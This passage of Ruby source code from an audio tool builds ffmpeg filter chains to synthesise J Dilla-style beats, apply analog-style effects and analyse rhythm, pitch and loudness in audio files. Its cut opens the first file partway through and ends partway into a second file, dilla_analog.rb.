\"[sample]\"\n    weights &lt;&lt; \"0.85\"\n  end\n  filter &lt;&lt; \"#{labels.join}amix=inputs=#{labels.length}:weights=#{weights.join(' ')}:duration=first,acompressor=threshold=-18dB:ratio=2.4:attack=24:release=130,acrusher=bits=13:samples=2:mix=0.12,alimiter=limit=0.94:level_out=0.96[out]\"\n  filter.join(\";\")\nend\n\ndef codec_for(destination)\n  return [\"-codec:a\", \"libmp3lame\", \"-b:a\", \"320k\"] if File.extname(destination).downcase == \".mp3\"\n  [\"-c:a\", \"pcm_s16le\"]\nend\n\ndef verify(path = File.join(ROOT, \"full_track.mp3\"))\n  abort \"missing #{path}\" unless File.exist?(path)\n  output, error, status = capture(\"ffmpeg\", \"-hide_banner\", \"-i\", path, \"-af\", \"volumedetect\", \"-f\", \"null\", \"-\")\n  text = output + error\n  puts text.lines.grep(/Duration|bitrate|mean_volume|max_volume/).join\n  abort \"verify failed\" unless status.success? &amp;&amp; text.include?(\"mean_volume:\")\nend\n\ndef clean(input, output)\n  abort \"missing input\" unless input &amp;&amp; File.exist?(input)\n  FileUtils.mkdir_p(File.dirname(output))\n  sh! \"ffmpeg\", \"-y\", \"-i\", input, \"-af\", \"highpass=f=28,lowpass=f=15500,afftdn=nf=-25,adeclick,loudnorm=I=-18:TP=-1.5:LRA=10\", \"-c:a\", \"pcm_s16le\", output\n  puts \"wrote #{output}\"\nend\n\ndef stems(root = File.join(ROOT, \"samples/demucs\"), manifest = File.join(ROOT, \"samples/manifest.json\"))\n  sets = Dir.glob(File.join(root, \"**\", \"*.{wav,mp3,flac,ogg,m4a}\"), File::FNM_EXTGLOB).group_by { |path| File.dirname(path) }.map do |directory, files|\n    { \"name\" =&gt; File.basename(directory), \"bpm\" =&gt; bpm, \"stems\" =&gt; stem_paths(files) }\n  end\n  FileUtils.mkdir_p(File.dirname(manifest))\n  File.write(manifest, JSON.pretty_generate({ \"version\" =&gt; 6, \"sets\" =&gt; sets }) + \"\\n\")\n  puts \"wrote #{manifest}\"\nend\n\ndef stem_paths(files)\n  files.each_with_object({}) { |path, map| map[stem_key(path)] = path.sub(ROOT + \"/\", \"\") }\nend\n\ndef stem_key(path)\n  basename = File.basename(path).downcase\n  return \"drums\" if basename.include?(\"drums\")\n  return \"bass\" if basename.include?(\"bass\")\n  return \"vocals\" if basename.include?(\"vocals\")\n  return \"other\" if basename.include?(\"other\")\n  File.basename(path, \".*\")\nend\n\ndef chords\n  PAD_CHORDS.each_with_index { |chord, number| puts \"%02d %s %s\" % [number + 1, chord[:name], chord[:hz].map { |frequency| frequency.round(2) }.join(\" \")] }\nend\n\ndef study(kind, input = nil)\n  input ||= prompt(\"audio path\")\n  abort \"missing #{input}\" unless File.exist?(input)\n  return rhythm(input) if kind == \"rhythm\"\n  return melody(input) if kind == \"melody\"\n  return harmony(input) if kind == \"harmony\"\n  return semantics(input) if kind == \"semantics\"\n  abort \"study kind must be rhythm, melody, harmony, or semantics\"\nend\n\ndef rhythm(input = nil)\n  input ||= prompt(\"drum or full audio path\")\n  data = frame_energy(input, highpass: 90, lowpass: 8_000)\n  peaks = peak_frames(data.fetch(:frames), data.fetch(:hop_seconds))\n  puts JSON.pretty_generate(type: \"rhythm\", path: input, duration_seconds: data.fetch(:duration_seconds), peaks: peaks.first(128))\nend\n\ndef melody(input = nil)\n  input ||= prompt(\"melodic stem path\")\n  data = spectral_windows(input)\n  puts JSON.pretty_generate(type: \"melody\", path: input, duration_seconds: data.fetch(:duration_seconds), windows: data.fetch(:windows).first(128))\nend\n\ndef harmony(input = nil)\n  input ||= prompt(\"harmonic stem path\")\n  profile = pitch_profile(input)\n  ranking = chord_candidates(profile.fetch(:pitch_classes)).first(16)\n  puts JSON.pretty_generate(type: \"harmony\", path: input, duration_seconds: profile.fetch(:duration_seconds), pitch_classes: profile.fetch(:pitch_classes), chords: ranking)\nend\n\ndef semantics(input = nil)\n  input ||= prompt(\"audio path\")\n  rhythm_data = frame_energy(input, highpass: 60, lowpass: 12_000)\n  loudness = rhythm_data.fetch(:frames).map(&amp;:last)\n  brightness = frame_energy(input, highpass: 2_400, lowpass: 12_000).fetch(:frames).map(&amp;:last)\n  density = peak_frames(rhythm_data.fetch(:frames), rhythm_data.fetch(:hop_seconds)).length.to_f / [rhythm_data.fetch(:duration_seconds), 1.0].max\n  puts JSON.pretty_generate(type: \"semantics\", path: input, duration_seconds: rhythm_data.fetch(:duration_seconds), tags: semantic_tags(loudness, brightness, density))\nend\n\ndef ears(path = File.join(ROOT, \"full_track.mp3\"))\n  abort \"missing #{path}\" unless File.exist?(path)\n  report = media_metadata(path).merge(volume_metadata(path)).merge(path: path)\n  report[:verdict] = ears_verdict(report)\n  puts JSON.pretty_generate(report)\nend\n\ndef frame_energy(path, highpass:, lowpass:)\n  abort \"ffmpeg required\" unless tool_available?(\"ffmpeg\")\n  raw = pipe_floats(path, \"highpass=f=#{highpass},lowpass=f=#{lowpass},aformat=sample_fmts=flt:channel_layouts=mono\")\n  hop = 2_048\n  frames = raw.each_slice(hop).with_index.map do |slice, index|\n    next if slice.empty?\n    [index * hop.to_f / SAMPLE_RATE, Math.sqrt(slice.sum { |value| value * value } / slice.length)]\n  end.compact\n  { frames: frames, hop_seconds: hop.to_f / SAMPLE_RATE, duration_seconds: raw.length.to_f / SAMPLE_RATE }\nend\n\ndef spectral_windows(path)\n  raw = pipe_floats(path, \"highpass=f=90,lowpass=f=5000,aformat=sample_fmts=flt:channel_layouts=mono\")\n  window = 4_096\n  windows = raw.each_slice(window).with_index.map do |slice, index|\n    next if slice.length &lt; window\n    zero_crossings = slice.each_cons(2).count { |left, right| (left.negative? &amp;&amp; right.positive?) || (left.positive? &amp;&amp; right.negative?) }\n    estimated_hz = zero_crossings.to_f * SAMPLE_RATE / (2.0 * slice.length)\n    [index * window.to_f / SAMPLE_RATE, estimated_hz.round(2), nearest_note(estimated_hz)]\n  end.compact\n  { duration_seconds: raw.length.to_f / SAMPLE_RATE, windows: windows }\nend\n\ndef pitch_profile(path)\n  raw = pipe_floats(path, \"highpass=f=65,lowpass=f=5000,aformat=sample_fmts=flt:channel_layouts=mono\")\n  window = 2_048\n  bins = Array.new(12, 0.0)\n  raw.each_slice(window) do |slice|\n    next if slice.length &lt; window\n    estimate = zero_crossing_hz(slice)\n    next if estimate &lt; 40.0 || estimate &gt; 5_000.0\n    bins[pitch_class_for(estimate)] += slice.sum { |value| value.abs } / slice.length\n  end\n  total = bins.sum\n  normalized = total.positive? ? bins.map { |value| (value / total).round(5) } : bins\n  { duration_seconds: raw.length.to_f / SAMPLE_RATE, pitch_classes: PITCH_CLASSES.zip(normalized).to_h }\nend\n\ndef chord_candidates(pitch_classes)\n  values = PITCH_CLASSES.map { |name| pitch_classes.fetch(name, 0.0) }\n  candidates = []\n  PITCH_CLASSES.each_with_index do |root_name, root_index|\n    CHORD_TEMPLATES.each do |suffix, intervals|\n      score = intervals.sum { |interval| values[(root_index + interval) % 12] }\n      candidates &lt;&lt; { chord: \"#{root_name}#{suffix}\", score: score.round(5) }\n    end\n  end\n  candidates.sort_by { |candidate| -candidate.fetch(:score) }\nend\n\ndef zero_crossing_hz(slice)\n  crossings = slice.each_cons(2).count { |left, right| (left.negative? &amp;&amp; right.positive?) || (left.positive? &amp;&amp; right.negative?) }\n  crossings.to_f * SAMPLE_RATE / (2.0 * slice.length)\nend\n\ndef pitch_class_for(frequency)\n  (69 + (12 * Math.log2(frequency / 440.0))).round % 12\nend\n\ndef semantic_tags(loudness, brightness, density)\n  mean_loudness = average(loudness)\n  mean_brightness = average(brightness)\n  tags = []\n  tags &lt;&lt; (density &gt; 2.5 ? \"dense\" : \"spacious\")\n  tags &lt;&lt; (mean_brightness &gt; mean_loudness * 0.45 ? \"bright\" : \"warm\")\n  tags &lt;&lt; (standard_deviation(loudness) &gt; mean_loudness * 0.8 ? \"unstable\" : \"steady\")\n  tags &lt;&lt; (mean_loudness &lt; 0.03 ? \"intimate\" : \"forward\")\n  tags\nend\n\ndef pipe_floats(path, filter)\n  output, error, status = capture(\"ffmpeg\", \"-v\", \"error\", \"-i\", path, \"-af\", filter, \"-f\", \"f32le\", \"-\")\n  abort error unless status.success?\n  output.unpack(\"e*\")\nend\n\ndef peak_frames(frames, hop_seconds)\n  return [] if frames.empty?\n  values = frames.map(&amp;:last)\n  threshold = average(values) + standard_deviation(values)\n  frames.each_cons(3).filter_map do |left, middle, right|\n    next unless middle.last &gt; threshold &amp;&amp; middle.last &gt; left.last &amp;&amp; middle.last &gt; right.last\n    { time: middle.first.round(3), strength: middle.last.round(5), grid: (middle.first / hop_seconds).round }\n  end\nend\n\ndef average(values)\n  return 0.0 if values.empty?\n  values.sum / values.length\nend\n\ndef standard_deviation(values)\n  mean = average(values)\n  Math.sqrt(values.sum { |value| (value - mean) * (value - mean) } / [values.length, 1].max)\nend\n\ndef nearest_note(frequency)\n  return nil if frequency &lt;= 0\n  midi = (69 + (12 * Math.log2(frequency / 440.0))).round\n  \"#{PITCH_CLASSES[midi % 12]}#{(midi / 12) - 1}\"\nend\n\ndef media_metadata(path)\n  output, error, status = capture(\"ffprobe\", \"-v\", \"error\", \"-show_entries\", \"format=duration,bit_rate\", \"-of\", \"json\", path)\n  abort error unless status.success?\n  format = JSON.parse(output).fetch(\"format\", {})\n  { duration_seconds: format.fetch(\"duration\", \"0\").to_f.round(3), bit_rate: format.fetch(\"bit_rate\", \"0\").to_i }\nrescue JSON::ParserError =&gt; error\n  abort \"ffprobe json parse failed: #{error.message}\"\nend\n\ndef volume_metadata(path)\n  output, error, status = capture(\"ffmpeg\", \"-hide_banner\", \"-i\", path, \"-af\", \"volumedetect\", \"-f\", \"null\", \"-\")\n  abort error unless status.success?\n  text = output + error\n  { mean_volume_db: number_after(text, \"mean_volume:\"), max_volume_db: number_after(text, \"max_volume:\") }\nend\n\ndef number_after(text, label)\n  line = text.lines.find { |entry| entry.include?(label) }\n  line ? line.split(label, 2).last.to_f : nil\nend\n\ndef ears_verdict(report)\n  return \"too_short\" if report[:duration_seconds] &lt; 20.0\n  return \"too_quiet\" if report[:mean_volume_db] &amp;&amp; report[:mean_volume_db] &lt; -28.0\n  return \"clips\" if report[:max_volume_db] &amp;&amp; report[:max_volume_db] &gt; -0.2\n  \"usable\"\nend\n\ndef debug\n  scan\n  _output, error, status = capture(\"ruby\", \"-c\", __FILE__)\n  puts(status.success? ? \"ruby syntax: ok\" : error)\nend\n\ndef sweep\n  output = File.join(ROOT, \"sweep_check.mp3\")\n  previous = ENV[\"BARS\"]\n  ENV[\"BARS\"] = \"8\"\n  render(output)\n  verify(output)\n  ears(output) if tool_available?(\"ffprobe\")\nensure\n  previous ? ENV[\"BARS\"] = previous : ENV.delete(\"BARS\")\nend\n\n# --- Analog grade engine ---\n\n# Build an ffmpeg filter fragment for one grade effect using stock params.\n# Each filter maps to a postpro analog concept (see GRADE_PRESETS comment).\ndef grade_filter(fx, stock)\n  case fx\n  when \"tape_saturation\"\n    # H&amp;D characteristic curve analog: tanh waveshaper, gain-neutral.\n    d = stock[:sat_drive]\n    n = Math.tanh(d).round(6)\n    \"aeval=exprs='tanh(#{d}*val(0))/#{n}:tanh(#{d}*val(1))/#{n}'\"\n  when \"analog_noise\"\n    # Newson-Delon grain analog: flat Gaussian noise floor at stock amplitude.\n    a = stock[:noise_amp]\n    \"aeval=exprs='val(0)+#{a}*(random(0)-0.5):val(1)+#{a}*(random(1)-0.5)'\"\n  when \"harmonic_bloom\"\n    # Halation analog: even-harmonic enrichment (tube/transformer bloom).\n    # x|x| adds 2nd+3rd order harmonics without DC offset.\n    \"aeval=exprs='val(0)+0.07*val(0)*abs(val(0)):val(1)+0.07*val(1)*abs(val(1))'\"\n  when \"spectral_warmth\"\n    # Color temperature analog: low-shelf boost + high-shelf cut.\n    db  = stock[:warmth_db].round(1)\n    cut = (db * 0.65).round(1)\n    \"equalizer=f=90:width_type=o:width=2:g=#{db},equalizer=f=9500:width_type=o:width=2:g=-#{cut}\"\n  when \"parallel_compress\"\n    # Bleach bypass analog: New York parallel compression.\n    \"acompressor=threshold=-22dB:ratio=7:attack=6:release=55:makeup=3:mix=0.45\"\n  when \"multiband_tone\"\n    # Split grade analog: three-band independent tonal shaping.\n    \"equalizer=f=110:width_type=o:width=2:g=1.8,equalizer=f=900:width_type=o:width=2:g=0.5,equalizer=f=7000:width_type=o:width=2:g=-1.2\"\n  when \"wow_flutter\"\n    # Reciprocity failure analog: capstan speed LFO (wow=slow, flutter=fast).\n    r = stock[:wow_rate]\n    d = stock[:wow_depth]\n    \"vibrato=f=#{r}:d=#{d}\"\n  when \"vinyl_crackle\"\n    # Faded print analog: stochastic crackle bursts at ~0.08% of samples.\n    \"aeval=exprs='val(0)+(random(0)&lt;8e-4?(random(1)-0.5)*0.22:0):val(1)+(random(2)&lt;8e-4?(random(3)-0.5)*0.22:0)'\"\n  when \"transient_sharpen\"\n    # Micro-contrast analog: presence boost via high-mid shelf.\n    \"equalizer=f=4000:width_type=o:width=1.5:g=2.0\"\n  when \"stereo_width\"\n    # Chromatic aberration analog: M/S stereo widening.\n    \"extrastereo=m=1.35\"\n  end\nend\n\ndef grade(input = nil, output = nil, preset_name = nil)\n  input       ||= prompt(\"audio path\")\n  preset_name ||= prompt(\"preset (#{GRADE_PRESETS.keys.join(', ')})\")\n  output      ||= input.sub(/(\\.\\w+)\\z/, \"_#{preset_name}\\\\1\")\n  abort \"missing #{input}\" unless File.exist?(input)\n  p = GRADE_PRESETS[preset_name.to_sym] or abort \"unknown preset: #{preset_name}. valid: #{GRADE_PRESETS.keys.join(', ')}\"\n  stock   = AUDIO_STOCKS[p[:stock]]\n  filters = p[:fx].filter_map { |fx| grade_filter(fx, stock) }\n  abort \"no filters for preset #{preset_name}\" if filters.empty?\n  chain = [filters, \"lowpass=f=#{stock[:rolloff_hz]}\"].flatten.join(\",\")\n  sh! \"ffmpeg\", \"-y\", \"-i\", input, \"-af\", chain, \"-c:a\", \"pcm_s16le\", output\n  puts \"wrote #{output}\"\nend\n\ndef grade_list\n  GRADE_PRESETS.each do |name, p|\n    stock = p[:stock]\n    puts \"#{name}: #{p[:fx].join(' \u2192 ')} [#{stock}]\"\n  end\nend\n\n# --- Live playback ---\n\n# Render a short preview and play it immediately via ffplay.\ndef play(preset_name = nil, bars_count = 8)\n  abort \"ffplay required\" unless tool_available?(\"ffplay\")\n  preset_name ||= \"dilla\"\n  tmp = File.join(ROOT, \".play_tmp.mp3\")\n  prev = ENV[\"BARS\"]\n  ENV[\"BARS\"] = bars_count.to_s\n  if preset_name == \"dilla\"\n    render_dilla(tmp)\n  else\n    render(tmp)\n  end\n  sh! \"ffplay\", \"-nodisp\", \"-autoexit\", tmp\nensure\n  prev ? ENV[\"BARS\"] = prev : ENV.delete(\"BARS\")\n  FileUtils.rm_f(tmp)\nend\n\n# Stream audio live from ffplay without writing a file \u2014 generative beat.\ndef live(bars_count = 32)\n  abort \"ffplay required\" unless tool_available?(\"ffplay\")\n  duration = (beat_seconds * 4.0 * bars_count).round(3)\n  drunk    = drunk_offsets(4 * bars_count)\n  expr     = chord_expression\n  kick_p   = (beat_seconds * 2.0).round(6)\n  # Build the same filter as render but pipe direct to ffplay\n  tmp = File.join(ROOT, \".live_tmp.wav\")\n  render_dilla(tmp, bars_count)\n  puts \"streaming #{bars_count} bars... Ctrl-C to stop\"\n  exec \"ffplay\", \"-nodisp\", \"-loop\", \"0\", tmp\nrescue SystemCallError =&gt; e\n  abort \"ffplay failed: #{e.message}\"\nend\n\n# Instantly play a modulating bass tone \u2014 good for local audio system check.\ndef bass(root_hz = 55.0)\n  abort \"ffplay required\" unless tool_available?(\"ffplay\")\n  # Warbling sub bass: fundamental + slow pitch LFO + low harmonic content.\n  # Models J Dilla's low-end: not a clean sine, has movement and weight.\n  lfo_hz   = 0.18\n  lfo_amt  = root_hz * 0.04\n  expr_l   = \"0.45*sin(2*PI*(#{root_hz}+#{lfo_amt}*sin(2*PI*#{lfo_hz}*t))*t)\" \\\n             \"+0.08*sin(2*PI*#{(root_hz * 2).round(2)}*t)\" \\\n             \"+0.03*sin(2*PI*#{(root_hz * 3).round(2)}*t)\"\n  filter   = \"aeval=exprs='#{expr_l}:#{expr_l}',equalizer=f=80:width_type=o:width=2:g=4,lowpass=f=200\"\n  puts \"playing bass #{root_hz}Hz (Ctrl-C to stop)\"\n  exec \"ffplay\", \"-f\", \"lavfi\", \"-i\", \"aevalsrc=0\", \"-nodisp\",\n       \"-af\", \"aeval=exprs='#{expr_l}:#{expr_l}',equalizer=f=80:width_type=o:width=2:g=4,lowpass=f=200\"\nrescue SystemCallError =&gt; e\n  abort \"ffplay failed: #{e.message}\"\nend\n\n# --- J Dilla style beat engine ---\n\n# Drunk quantization: return an array of per-beat timing offsets in seconds.\n# Dilla's signature feel \u2014 hits land slightly before or after the grid,\n# never random but never locked, like a human with perfect rhythm who chose not to use it.\ndef drunk_offsets(n)\n  n.times.map { (rand * 2 - 1) * DRUNK_MAX_MS / 1000.0 }\nend\n\n# Build kick expression with drunk timing: each kick is offset from the grid.\ndef dilla_kick_expr(duration, drunk)\n  beat_p = beat_seconds * 2.0\n  # Kicks on beats 1 and 3, offset by drunk timing\n  kicks  = drunk.each_slice(4).flat_map do |slice|\n    [ 0.0 + slice[0].to_f,\n      beat_seconds * 2.0 + slice[2].to_f ]\n  end.uniq\n  parts = kicks.first(64).map do |offset|\n    t_mod = \"mod(t-#{offset.round(6)},#{(beat_seconds * 4.0).round(6)})\"\n    \"0.72*sin(2*PI*(46+88*exp(-#{t_mod.inspect}*20))*#{t_mod.inspect})*exp(-#{t_mod.inspect}*10)\"\n  end\n  \"(#{parts.join('+')})\"\nrescue StandardError\n  \"0.72*sin(2*PI*(46+88*exp(-mod(t,#{(beat_seconds * 2.0).round(6)})*18))*t)*exp(-mod(t,#{(beat_seconds * 2.0).round(6)})*9)\"\nend\n\n# Snare on 2 and 4 with drunk timing + ghost notes at 1/8th positions.\ndef dilla_snare_expr(duration, drunk)\n  beat2  = beat_seconds + (drunk[1] || 0.0)\n  beat4  = beat_seconds * 3.0 + (drunk[3] || 0.0)\n  bar    = beat_seconds * 4.0\n  ghosts = [beat_seconds * 0.5, beat_seconds * 1.5, beat_seconds * 2.5, beat_seconds * 3.5].map do |pos|\n    t_mod = \"mod(t-#{pos.round(4)},#{bar.round(6)})\"\n    \"0.05*(random(0)-0.5)*lt(#{t_mod},0.04)*exp(-#{t_mod}*50)\"\n  end\n  main = [beat2, beat4].map do |pos|\n    t_mod = \"mod(t-#{pos.round(4)},#{bar.round(6)})\"\n    \"0.52*(random(1)-0.5)*lt(#{t_mod},0.06)*exp(-#{t_mod}*28)\"\n  end\n  \"(#{(main + ghosts).join('+').gsub(/\"/, '')})\"\nend\n\n# Warbling Dilla bass: frequency modulated by an LFO for that loose,\n# slightly sharp-flat feel. Octave sub below + harmonic above.\ndef dilla_bass_expr(root_hz = 43.0)\n  lfo_rate = 0.12\n  lfo_amt  = root_hz * 0.03\n  fund     = \"#{root_hz}+#{lfo_amt}*sin(2*PI*#{lfo_rate}*t)\"\n  \"0.60*sin(2*PI*(#{fund})*t)+0.10*sin(2*PI*2*(#{fund})*t)\"\nend\n\n# Full Dilla-style render: drunk drums, warbling bass, pad chords, soul sample.\ndef render_dilla(destination = File.join(ROOT, \"dilla_beat.mp3\"), bars_count = nil)\n  abort \"ffmpeg required\" unless tool_available?(\"ffmpeg\")\n  FileUtils.mkdir_p(File.dirname(destination))\n  n_bars   = bars_count || bars\n  duration = (beat_seconds * 4.0 * n_bars).round(3)\n  drunk    = drunk_offsets(n_bars * 4)\n\n  kick_expr  = dilla_kick_expr(duration, drunk)\n  snare_expr = dilla_snare_expr(duration, drunk)\n  bass_expr  = dilla_bass_expr\n  hat_off    = (drunk[0] || 0.0) * 0.5\n  hat_p      = (beat_seconds / 2.0).round(6)\n  hat_expr   = \"0.11*(random(0)-0.5)*lt(mod(t+#{hat_off.abs.round(4)},#{hat_p}),0.025)*exp(-mod(t,#{hat_p})*90)\"\n\n  command = [\"ffmpeg\", \"-y\",\n             \"-f\", \"lavfi\", \"-i\", \"aevalsrc='#{chord_expression}':d=#{duration}:s=#{SAMPLE_RATE}\",\n             \"-f\", \"lavfi\", \"-i\", \"aevalsrc='#{bass_expr}':d=#{duration}:s=#{SAMPLE_RATE}\",\n             \"-f\", \"lavfi\", \"-i\", \"aevalsrc='#{kick_expr}':d=#{duration}:s=#{SAMPLE_RATE}\",\n             \"-f\", \"lavfi\", \"-i\", \"aevalsrc='#{snare_expr}':d=#{duration}:s=#{SAMPLE_RATE}\",\n             \"-f\", \"lavfi\", \"-i\", \"aevalsrc='#{hat_expr}':d=#{duration}:s=#{SAMPLE_RATE}\"]\n\n  sample_input = nil\n  if File.exist?(SAMPLE_CLEAN)\n    sample_input = 5\n    command += [\"-stream_loop\", \"-1\", \"-i\", SAMPLE_CLEAN]\n  end\n\n  labels  = %w[[pads] [bass] [kick] [snare] [hats]]\n  weights = %w[0.85 0.90 0.82 0.58 0.20]\n  filter  = []\n  filter &lt;&lt; \"[0:a]aformat=channel_layouts=stereo,lowpass=f=4000,adelay=5|11[pads]\"\n  filter &lt;&lt; \"[1:a]aformat=channel_layouts=stereo,lowpass=f=180,equalizer=f=80:width_type=o:width=2:g=4[bass]\"\n  filter &lt;&lt; \"[2:a]aformat=channel_layouts=stereo,lowpass=f=160[kick]\"\n  filter &lt;&lt; \"[3:a]aformat=channel_layouts=stereo,highpass=f=200,lowpass=f=6000[snare]\"\n  filter &lt;&lt; \"[4:a]aformat=channel_layouts=stereo,highpass=f=7000[hats]\"\n\n  if sample_input\n    filter &lt;&lt; \"[#{sample_input}:a]aformat=channel_layouts=stereo,atrim=0:#{duration},asetpts=PTS-STARTPTS,\" \\\n              \"highpass=f=80,lowpass=f=14000,acrusher=bits=12:samples=2:mix=0.25[sample]\"\n    labels  &lt;&lt; \"[sample]\"\n    weights &lt;&lt; \"0.78\"\n  end\n\n  mix_chain = \"#{labels.join}amix=inputs=#{labels.length}:weights=#{weights.join(' ')}:duration=first,\" \\\n              \"aeval=exprs='tanh(1.6*val(0))/#{Math.tanh(1.6).round(6)}:tanh(1.6*val(1))/#{Math.tanh(1.6).round(6)}',\" \\\n              \"acompressor=threshold=-18dB:ratio=2.5:attack=20:release=120,\" \\\n              \"acrusher=bits=12:samples=2:mix=0.15,\" \\\n              \"alimiter=limit=0.93:level_out=0.95[out]\"\n  filter &lt;&lt; mix_chain\n\n  command += [\"-filter_complex\", filter.join(\";\"), \"-map\", \"[out]\", \"-t\", duration.to_s, *codec_for(destination), destination]\n  sh!(*command)\n  puts \"wrote #{destination}\"\nend\n\ncase ARGV.shift\nwhen \"scan\" then scan\nwhen \"sweep\" then sweep\nwhen \"council\" then council\nwhen \"debug\" then debug\nwhen \"sample\" then sample\nwhen \"source\" then source(ARGV.shift, ARGV.shift)\nwhen \"livestream\" then livestream(ARGV.shift, ARGV.shift)\nwhen \"separate\" then separate(ARGV.shift)\nwhen \"render\", nil then render(ARGV.shift || File.join(ROOT, \"full_track.mp3\"))\nwhen \"verify\" then verify(ARGV.shift || File.join(ROOT, \"full_track.mp3\"))\nwhen \"chords\" then chords\nwhen \"clean\" then clean(ARGV.shift, ARGV.shift || File.join(ROOT, \"clean.wav\"))\nwhen \"stems\" then stems(ARGV.shift || File.join(ROOT, \"samples/demucs\"), ARGV.shift || File.join(ROOT, \"samples/manifest.json\"))\nwhen \"study\" then study(ARGV.shift, ARGV.shift)\nwhen \"rhythm\" then rhythm(ARGV.shift)\nwhen \"melody\" then melody(ARGV.shift)\nwhen \"harmony\" then harmony(ARGV.shift)\nwhen \"semantics\" then semantics(ARGV.shift)\nwhen \"ears\"       then ears(ARGV.shift || File.join(ROOT, \"full_track.mp3\"))\nwhen \"play\"       then play(ARGV.shift, (ARGV.shift || 8).to_i)\nwhen \"live\"       then live((ARGV.shift || 32).to_i)\nwhen \"bass\"       then bass((ARGV.shift || 55.0).to_f)\nwhen \"grade\"      then grade(ARGV.shift, ARGV.shift, ARGV.shift)\nwhen \"grade_list\" then grade_list\nwhen \"dilla\"      then render_dilla(ARGV.shift || File.join(ROOT, \"dilla_beat.mp3\"))\nelse\n  puts \"commands: #{COMMANDS.join(' | ')}\"\nend\n```\n\n## `dilla/dilla_analog.rb`\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n# dilla_analog.rb\n# Full analog-pad restoration renderer for Dilla/Madlib/FlyLo-inspired music.\n# Original synthesis only: no copyrighted sample downloading.\n#\n# Usage:\n#   ruby dilla/dilla_analog.rb render dilla/analog_full.mp3\n#   ruby dilla/dilla_analog.rb liveset dilla/analog_liveset.mp3 12\n#   ruby dilla/dilla_analog.rb chords\n#   ruby dilla/dilla_analog.rb clean input.wav output.wav\n#   ruby dilla/dilla_analog.rb stems dilla/samples/demucs dilla/samples/manifest.json\n\nrequire \"json\"\nrequire \"fileutils\"\n\nDIR = File.expand_path(__dir__)\nBPM = (ENV[\"BPM\"] || 86).to_f\nBARS = (ENV[\"BARS\"] || 96).to_i\nSR = 44_100\n\n# 13 restored Dilla-ish progressions: dark 9ths, maj9s, suspended clusters, altered color.\nPAD_CHORDS = [\n  { name: \"Fm9\",      hz: [174.61, 207.65, 261.63, 311.13, 392.00] },\n  { name: \"Dbmaj9\",   hz: [138.59, 174.61, 207.65, 261.63, 311.13] },\n  { name: \"Cm9\",      hz: [130.81, 155.56, 196.00, 233.08, 293.66] },\n  { name: \"Ebmaj9\",   hz: [155.56, 196.00, 233.08, 293.66, 349.23] },\n  { name: \"Abmaj9\",   hz: [207.65, 261.63, 311.13, 392.00, 466.16] },\n  { name: \"Dm9\",      hz: [146.83, 174.61, 220.00, 261.63, 329.63] },\n  { name: \"Gm9\",      hz: [196.00, 233.08, 293.66, 349.23, 440.00] },\n  { name: \"Bm7b5+9\",  hz: [123.47, 146.83, 174.61, 220.00, 261.63] },\n  { name: \"E altered\",hz: [164.81, 196.00, 233.08, 293.66, 349.23] },\n  { name: \"Am9\",      hz: [110.00, 130.81, 164.81, 196.00, 246.94] },\n  { name: \"Bbm9\",     hz: [116.54, 138.59, 174.61, 207.65, 261.63] },\n  { name: \"Gbmaj9\",   hz: [92.50, 116.54, 138.59, 174.61, 207.65] },\n  { name: \"C cluster\", hz: [130.81, 138.59, 196.00, 233.08, 311.13] }\n].freeze\n\nROOTS = [43.65, 49.00, 51.91, 38.89, 46.25].freeze\nPRIMES = [97, 109, 127, 149, 167, 191, 223, 251].freeze\n\n# Analog authenticity controls.\nANALOG = {\n  osc_layers: 5,\n  drift_cents: 7.0,\n  bad_tune_spike_cents: 16.0,\n  lowpass_hz: 2600,\n  sp_bits: 12,\n  sp_ratio: 44_100.0 / 26_040.0,\n  tape_dc: 0.05,\n  chorus_delay_l_ms: 9,\n  chorus_delay_r_ms: 13,\n  vinyl_level: 0.14,\n  pad_sidechain_hint: 0.72\n}.freeze\n\ndef sh!(*cmd)\n  puts \"&gt;&gt;&gt; #{cmd.flatten.join(' ')}\"\n  abort \"failed\" unless system(*cmd.flatten.map(&amp;:to_s))\nend\n\ndef lavfi(src) = [\"-f\", \"lavfi\", \"-i\", src]\ndef expr(parts) = parts.empty? ? \"0\" : parts.join(\"+\")\n\ndef section_for_bar(b, total)\n  return [:intro, 0.42] if b &lt; 8\n  return [:a, 1.00] if b &lt; 24\n  return [:a2, 1.00] if b &lt; 40\n  return [:break, 0.55] if b &lt; 48\n  return [:b, 1.00] if b &lt; 64\n  return [:drop, 0.72] if b &lt; 72\n  return [:c, 1.00] if b &lt; 88\n  [:outro, [0.25, 1.0 - ((b - 88) / [12.0, total - 88.0].max)].max]\nend\n\ndef rotate_chord(chord, bars)\n  hz = chord[:hz].rotate((bars / 8) % chord[:hz].length)\n  # Probabilistic tension note restoration: b9/#11/13-like color via ratio offsets.\n  extra = case bars % 12\n          when 0 then hz[0] * 1.067\n          when 4 then hz[2] * 1.414\n          when 8 then hz[3] * 1.122\n          else nil\n          end\n  extra ? (hz + [extra]) : hz\nend\n\ndef schedule(bars)\n  beat = 60.0 / BPM\n  bar = beat * 4\n  step = bar / 16\n  events = Hash.new { |h, k| h[k] = [] }\n  kick_patterns = [[0,7,10,14], [0,5,7,10,14], [0,3,7,10,12,14], [0,6,9,14]]\n\n  bars.times do |b|\n    sec, den = section_for_bar(b, bars)\n    base = b * bar\n    kp = kick_patterns[(b / 8 + b % 3) % kick_patterns.length].dup\n    kp = [0,3,6,7,10,12,14,15] if b % 16 == 15\n    kp = [0,10] if sec == :intro &amp;&amp; b &gt; 2\n    kp = [] if sec == :intro &amp;&amp; b &lt;= 2\n    kp = (b.even? ? [0] : [0,7]) if sec == :break\n    kp = (b.even? ? [0,10] : [0,7,14]) if sec == :drop\n    kp = [0] if sec == :outro &amp;&amp; b &gt; bars - 8 &amp;&amp; b % 4 == 0\n\n    kp.each_with_index do |s, i|\n      # Separate timing grids: late/straight kicks, early/variable snares, late hats, laggy bass.\n      t = base + s * step + [0.000, 0.006, 0.011, -0.004, 0.018][(b + i) % 5]\n      events[:kick] &lt;&lt; [t, den]\n      events[:bass] &lt;&lt; [t + 0.023, den, ROOTS[(b / 4 + i) % ROOTS.length]] unless sec == :intro\n    end\n\n    [4, 12].each do |s|\n      events[:snare] &lt;&lt; [base + s * step + [-0.010, -0.006, 0.004, 0.010, 0.017][b % 5], den] unless sec == :intro\n    end\n\n    (b.even? ? [6,11] : [3,6,11,15]).each do |s|\n      events[:ghost] &lt;&lt; [base + s * step + [-0.014, 0.006, 0.018][(b + s) % 3], den * 0.32] unless [:intro, :drop].include?(sec)\n    end\n\n    hats = b % 16 == 7 ? 